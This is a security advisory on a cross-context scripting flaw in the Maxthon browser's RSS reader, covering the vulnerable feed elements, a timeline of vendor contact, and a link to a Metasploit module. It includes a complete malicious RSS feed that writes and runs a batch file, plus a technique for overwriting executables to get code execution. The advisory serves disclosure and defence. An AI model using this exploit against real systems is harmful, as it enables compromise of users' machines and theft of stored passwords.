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Maxthon - Cross Context Scripting (XCS) - RSS - Remote Code Execution


Details

Vendor Site: Maxthon (www.maxthon.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Maxthon 3.4.5.2000 and previous versions
Status: Unpatched (at the time of publishing)
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Maxthon_multiple_vulnerabilities_advisory.pdf


Cross Context Scripting

Cross Context Scripting  (XCS) is a particular code injection attack vector where the injection occurs from an untrusted zone (e.g. Internet) into a privileged browser zone. In this case, it is possible to inject arbitrary JavaScript/HTML code from an untrusted page into Maxthon browser privileged zone - mx://res/*.


Description

A malicious user can inject arbitrary JavaScript/HTML code via multiple RSS feed elements. Vulnerable elements are the following:

  • <title> element: JavaScript injection using HTML encoded payload
  • <link> element: JavaScript injection using javascript: pseudouri
  • <description> element: JavaScript injection using HTML encoded payload

Injection is possible in two different conditions:

[1] User directly visits a malicious RSS page: e.g. http://x.x.x.x/maliciousrss.xml

In such case, the injection is rendered in the following point: mx://res/app/%7BGUID%7B/preview.htm?http://x.x.x.x/maliciousrss.xml

[2] User views or saves the malicious feed using Maxthon Feed Reader built-in component.

The Feed Reader is located at about:reader which is mapped to mx://res/app/%7BGUID%7B/reader.htm page. If the malicious feed is saved, injection is stored as well within the about:reader page.

Maxthon has to render the attack page in "UltraMode" to be affected by this vulnerability. The UltraMode is automatically set by default in Maxthon and makes use of Webkit.

Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the mx://res/ privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Maxthon native JavaScript privileged functions which can be invoked from the Maxthon DOM object (e.g. maxthon.*). Such Maxthon object interfaces can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify Maxthon configuration.

A malicious user would need to convince a user to visit a link to exploit this vulnerability.

Malicious RSS Feed – Arbitrary Code Execution Exploit


<?xml version='1.0' encoding="ISO-8859-1"?>
<rss version='2.0'>
<channel>
<description>Malerisch.net</description>
<link>http://blog.malerisch.net/</link>
<title>Malerisch.net</title>
<item>
    <title>test'&gt;&lt;img src=a onerror='var b= new maxthon.io.File.createTempFile("test","bat");c=maxthon.io.File(b);maxthon.io.FileWriter(b);maxthon.io.writeText("cmd /k dir");maxthon.program.Program.launch(b.name_,"C:")';&gt;</title>
    <link>javascript:alert(window.location);</link>
    <description>07/09/2008 - test &lt;img src=a onerror='var b= new maxthon.io.File.createTempFile("test","bat");c=maxthon.io.File(b);maxthon.io.FileWriter(b);maxthon.io.writeText("cmd /k dir");maxthon.program.Program.launch(b.name_,"C:")';&gt;</description>
<pubDate>Sun, 07 Sep 2008 12:00:00 GMT</pubDate>
</item>
</channel>
</rss>


Metasploit module

Following disclosure of the bugs during HITB2012AMS conference, it was observed that the maxthon.program object was silently removed by Maxthon in recent versions. This only allows a malicious user to read and write files on the system.

Code execution without incurring in a warning or user prompt can still be achieved by overwriting an executable which can be called directly by the browser. A "dirty" way is to overwrite j2plauncher.exe assuming the victim has either JRE/JDK installed on the machine. The second step would be to force Maxthon to load java.exe (e.g. create an iframe that points to a page which loads a Java Applet). This approach was successfully tested on Windows 7.

On Windows XP, there are more choices to overwrite executable files, e.g. C:\\Program\ Files\\Outlook\ Express\\wab.exe and then force browser to invoke wab.exe via window.location='ldap://dummy'.

The PoC Metasploit module includes the "dirty" Java overwrite approach described above.

https://github.com/malerisch/metasploit-framework/blob/maxthon3/modules/exploits/windows/browser/maxthon_rss_xcs.rb

Video

Maxthon - Cross Context Scripting (XCS) - RSS - Java overwrite technique - Metasploit in action:


Timeline

13/02/2012 - Bug reported to multiple contacts
21/02/2012 - Reception of report confirmed but no further reply
21/02/2012 - Chased vendors - no reply
12/05/2012 - HITB2012AMS - bug disclosed during presentation
02/11/2012 - 25 new releases following the report – 2 bugs silently fixed
14/11/2012 - HackPra - bug and exploit module presented

Solution

Do not use Maxthon browser.

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